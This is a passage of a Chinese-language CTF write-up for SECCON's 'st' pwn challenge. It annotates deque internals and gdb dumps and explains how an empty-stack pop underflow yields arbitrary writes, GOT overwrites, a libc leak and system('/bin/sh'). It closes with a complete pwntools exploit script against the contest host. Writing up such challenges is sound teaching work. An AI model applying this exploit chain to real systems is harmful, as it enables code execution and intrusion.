      // 0x401864: mov rax, [rax+30h]    ; rax = finish.cur (写入目标地址)
      // 0x4018a8: call _ZnwmPv          ; placement new (实际上就是返回 finish.cur)
      // 0x4018bc: mov rax, [rax]        ; rax = *value (要写入的值)
      // 0x4018bf: mov [rbx], rax        ; *finish.cur = value  ← 关键写入操作!

      *this->_M_finish.cur = *value;  // 将值写入 finish.cur 指向的地址

      // ═══════════════════════════════════════════════════════════════
      // 步骤 3: 更新 finish.cur 指针
      // ═══════════════════════════════════════════════════════════════

      // 0x4018c8: mov rax, [rax+30h]    ; rax = finish.cur
      // 0x4018cc: lea rdx, [rax+8]      ; rdx = finish.cur + 8
      // 0x4018d4: mov [rax+30h], rdx    ; finish.cur = finish.cur + 8

      this->_M_finish.cur += 1;  // 移动到下一个位置 (+8 bytes)
  }

  5. Push 操作的图示

  执行 S.push(0xCAFEBABE) 前:
  ═══════════════════════════════════════════════════════════════════

  finish.cur = 0x29837308
  ┌────────────┬────────────┬────────────┬────────────┐
  │ 0xdeadbeef │ 0x00000000 │ 0x00000000 │    ...     │  S.buffer
  └────────────┴────────────┴────────────┴────────────┘
   0x29837300   0x29837308   0x29837310
   finish.first


  执行 S.push(0xCAFEBABE) 后:
  ═══════════════════════════════════════════════════════════════════

                            finish.cur = 0x29837310 (已更新)
  ┌────────────┬────────────┬────────────┬────────────┐
  │ 0xdeadbeef │ 0xCAFEBABE │ 0x00000000 │    ...     │  S.buffer
  └────────────┴────────────┴────────────┴────────────┘
   0x29837300   0x29837308   0x29837310
        ▲            ▲
        │            │
   finish.first   写入位置

  6. 漏洞利用时的 Push

  当 finish.cur 被控制为 GOT 表地址时:

  假设通过空栈 pop 漏洞,finish.cur 被设置为 0x405028 (GOT 表)

  执行 S.push(system_addr):
  ═══════════════════════════════════════════════════════════════════

  finish.cur = 0x405028 (被控制的地址)
  ┌────────────────────────────────────────────────────────────────┐
  │ GOT 表                                                          │
  │ ...                                                             │
  │ 0x405028: [operator delete] = 0x7ffff7xxxxxx (原始 libc 地址)  │ ...                                                             │
  └────────────────────────────────────────────────────────────────┘

  执行 *finish.cur = system_addr 后:
  ═══════════════════════════════════════════════════════════════════

  ┌────────────────────────────────────────────────────────────────┐
  │ GOT 表                                                          │
  │ ...                                                             │
  │ 0x405028: [operator delete] = system_addr  ← 被覆写!            │
  │ ...                                                             │
  └────────────────────────────────────────────────────────────────┘

  之后任何调用 operator delete 的操作都会执行 system()!

push操作不用理解很深刻,在这道题只需要知道push的时候,buffer不够了是先分配再调整指针,写值即可,还有就是map不够了也是会重新分配一片更大的内存

如果最开始只pop是不行的,虽然可以越界

for i in range(64):
    T_pop()
for i in range(64):
    T_pop()
for i in range(64):
    T_pop()
pause()
"""
0x405380 <T>:    0x0000000032a1e510(**_M_map)    0x0000000000000008
0x405390 <T+16>:    0x0000000032a1e560    0x0000000032a1e560
0x4053a0 <T+32>:    0x0000000032a1e760    0x0000000032a1e528
0x4053b0 <T+48>:    0x0000000000000000    0x0000000000000000
0x4053c0 <T+64>:    0x0000000000000200    0x0000000032a1e510(_M_finish->node)

"""
#THE NEXT T_pop() WILL BACK OVERFLOW _M_map
T_pop()
"""
0x405380 <T>:    0x0000000032a1e510(**_M_map)    0x0000000000000008
0x405390 <T+16>:    0x0000000032a1e560    0x0000000032a1e560
0x4053a0 <T+32>:    0x0000000032a1e760    0x0000000032a1e528
0x4053b0 <T+48>:    0x0000000000000249    0x0000000000000051
0x4053c0 <T+64>:    0x0000000000000251    0x0000000032a1e508(_M_finish->node)
"""

但是再越界就会触发free heap head

for i in range(64):
    T_pop()
for i in range(64):
    T_pop()
for i in range(64):
    T_pop()
"""
0x405380 <T>:    0x0000000032a1e510(**_M_map)    0x0000000000000008
0x405390 <T+16>:    0x0000000032a1e560    0x0000000032a1e560
0x4053a0 <T+32>:    0x0000000032a1e760    0x0000000032a1e528
0x4053b0 <T+48>:    0x0000000000000000    0x0000000000000000
0x4053c0 <T+64>:    0x0000000000000200    0x0000000032a1e510(_M_finish.node)

"""
#T_pop()
#THE NEXT T_pop() WILL BACK OVERFLOW _M_map
"""
0x405380 <T>:    0x0000000032a1e510(**_M_map)    0x0000000000000008
0x405390 <T+16>:    0x0000000032a1e560    0x0000000032a1e560
0x4053a0 <T+32>:    0x0000000032a1e760    0x0000000032a1e528
0x4053b0 <T+48>:    0x0000000000000249    0x0000000000000051
0x4053c0 <T+64>:    0x0000000000000251    0x0000000032a1e508(_M_finish.node)
"""
#BUT THE HEAP_SIZE IS NO USE, SO KEEP GOING
for i in range(64):
    T_pop()
#THE NEXT T_pop() WILL CRASH
#BECAUSE  _M_finish->cur == _M_finish->first
"""
if (this->_M_finish.cur == this->_M_finish.first) {
          // 0x401964: call deque_M_pop_back_aux_VULN
          deque_M_pop_back_aux_VULN(this);

void deque_M_pop_back_aux_VULN(std_deque* this) {
    // 0x401e6f: call deque_M_deallocate_node
    _M_deallocate_node(this->_M_finish.first);############# we can't free 0x0000000000000051

    // 0x401e80: mov rdx, [rdx+48h]
    // 0x401e84: sub rdx, 8
    unsigned long** new_node = this->_M_finish.node - 1;

    // 0x401e8e: call deque_iterator_M_set_node
    _M_set_node(&this->_M_finish, new_node);

    // 0x401ea3: mov [rax+30h], rdx
    this->_M_finish.cur = this->_M_finish.last - 1;
}

"""
"""
0x405380 <T>:    0x000000003e43d510    0x0000000000000008
0x405390 <T+16>:    0x000000003e43d560    0x000000003e43d560
0x4053a0 <T+32>:    0x000000003e43d760    0x000000003e43d528
0x4053b0 <T+48>:    0x0000000000000051(_M_finish.cur)    0x0000000000000051(_M_finish.first)
0x4053c0 <T+64>:    0x0000000000000251    0x000000003e43d508

"""

所以我们肯定的先push,接下来有一个很关键的地方。**map大小不够重新分配时,不会清空原来堆内存里的残留数据,并且他是从中间开始往后写(毕竟底层是deque,还要为前面预留空间,只是对于stack来说不需要)

所以可以通过堆风水造成这样的布局

image-20251215224336036

这时pop溢出后cur指针就不会先变成0x51这样的chunk头了(不知道在说什么的再回看前面的代码段,里面有展示cur指针为0x51),而是会先变成我们可控的地址,所以可以造成任意地址写(但是只能指定一次地址,可以自己思考为什么)

比赛完在discord交流时发现,其实没必要进行堆风水,最开始在输入name时如果输0x800个A,会导致一个unsorted bin,所以可以直接布置一个地址上去。

那么,我们要写什么地方呢?

答案是写另一个stackcur指针,比如我们通过stack Sstack Tcur指针,那么就可以通过T push进行任意地址写,写完再通过stack S控制stack Tcur指针,这样就可以造成无限的任意地址写。

有了任意地址写,如何get shell,我们还没有libc,我们需要leak libc

利用任意地址写,将std::stringchar* _M_p;写为got表地址,再将operator newgot写为

  std::cout << "Hello, " << name << "!" << std::endl;

地址(为什么写operator new而不是exit?因为这道题没有exitgot表……)

利用S push触发malloc回到main即可泄露libc(仔细看源码你会发现,他是先malloc再调整指针写数据,触发malloc就回到main函数了,没有调整指针写数据的环节,所以不会影响接下来的任意写)

继续利用任意地址写,往一个bss地址写入/bin/sh,再将operator delete写为system

接着利用stack Sstack Tcurfirst指针都写为bss地址,进行一次T pop即可触发operator delete(bss),也就是system(/bin/sh)

此时发现栈没对齐,system失败了,于是再在之前增加一步,再触发一次malloc跳回

  std::cout << "Hello, " << name << "!" << std::endl;

达到调整栈帧的目的,再执行system(/bin/sh)即可

exp

#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "st" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/libc6_2.39-0ubuntu8.5_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "st.seccon.games"
port = 5000
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/libc6-dbg_2.39-0ubuntu8.5_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/glibc-source_2.39-0ubuntu8.5_all/usr/src/glibc/glibc-2.39
'''

def base(name, data, offset):
    if isinstance(data, bytes):
        if name == "canary":
            base = u64(data)
        else:
            base = u64(data + b'\x00' * 2) - offset
    elif isinstance(data, int):
        base = data - offset
    log.success(f"{name} = " + hex(base))
    return base

def format_extract(data):
    return re.search(b'0x[0-9a-fA-F]{12}', data).group(1)

def sa(io, a, b):
    io.sendafter(a, b)

def sla(io, a, b):
    io.sendlineafter(a, b)

def ru(io, a):
    io.recvuntil(a)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

def fill_stack(stack_name, data):
    global s_idx
    global t_idx
    if (stack_name == 'S'):
        for i in range(64):
            S_push(data)
        s_idx += 64
    else:
        for i in range(64):
            T_push(data)
        t_idx += 64
def pop_stack(stack_name):
    global s_idx
    global t_idx
    if (stack_name == 'S'):
        for i in range(64):
            S_pop()
        s_idx -= 64
    else:
        for i in range(64):
            T_pop()
        t_idx -= 64

def S_push(v):
    #sleep(0.01)
    io.sendline(str(1))
    #sleep(0.01)
    io.sendline(str(v))
def S_pop():
    #sleep(0.01)
    io.sendline(str(2))
def T_push(v):
    #sleep(0.01)
    io.sendline(str(3))
    #sleep(0.01)
    io.sendline(str(v))
def T_pop():
    #sleep(0.01)
    io.sendline(str(4))
"""
  // Deque 迭代器结构 (0x20 bytes)
  struct _Deque_iterator {
      unsigned long *cur;    // +0x00: 当前位置指针
      unsigned long *first;  // +0x08: buffer 起始
      unsigned long *last;   // +0x10: buffer 结束
      unsigned long **node;  // +0x18: map 中的 node 指针
  };

  // Deque 主结构 (0x60 bytes)
  struct std_deque {
      unsigned long **_M_map;           // +0x00: map 数组指针
      unsigned long _M_map_size;        // +0x08: map 大小
      struct _Deque_iterator _M_start;  // +0x10: 起始迭代器
      struct _Deque_iterator _M_finish; // +0x30: 结束迭代器
  };

"""
s_idx = 0
t_idx = 0
name_addr = 0x0000000000405300
S_addr = 0x0000000000405320
T_addr = 0x0000000000405380
atexit_addr = 0x0000000000405020
main_addr = 0x401376
libc_start_main_got = 0x404FD8
delete_addr = 0x405040
new_got = 0x405038
cout_addr = 0x4013D5
io = start()
name = b'A' * 0x20
sla(io, "What's your name?\n", name)

for i in range(25):
    fill_stack('S', 0x1337)
for i in range(13):
    fill_stack('T', 0xdeadbeef)
    for i in range(32):
        T_push(0xcafebabe)
    for i in range(4):
        T_push(0xAAAAAAAA) 
    for i in range(20):
        T_push(0xffffffff)  ##################control
    T_push(T_addr - 0x1f8 + 0x30 + 0x10)
    for i in range(7):
        T_push(0xcccccccc)
    for i in range(32):
        T_push(0xdeadbeef)
for i in range(14):
    pop_stack('T')

fill_stack('S', 0x1337)


for i in range(14):
    pop_stack('S')
for i in range(12):
    pop_stack('S')
S_pop()
S_pop()

#arbitrary write
S_pop()
S_push(name_addr)
T_push(libc_start_main_got)

#arbitrary write
S_pop()
S_push(new_got)
T_push(cout_addr)

S_push(0x405000)
S_push(0xffffffff)
#trigger malloc
io.recvuntil("Hello, ")
io.recvuntil("Hello, ")
libc_base = base("libc_base", io.recv(6), 0x2a200)


S_pop()
S_pop()

#arbitrary write
S_pop()
S_push(delete_addr)
T_push(libc_base + libc.sym['system'])

bss = 0x405500
#arbitrary write
#S_pop()
#S_push(bss)
#T_push(u64(b'/bin/sh\x00'))

S_push(bss)
S_push(bss)
S_push(bss)

S_pop()
S_pop()


S_pop()
S_push(bss)
T_push(u64(b'/bin/sh\x00'))

S_push(bss)
S_push(bss)
T_pop()

io.interactive()

image-20251215225824693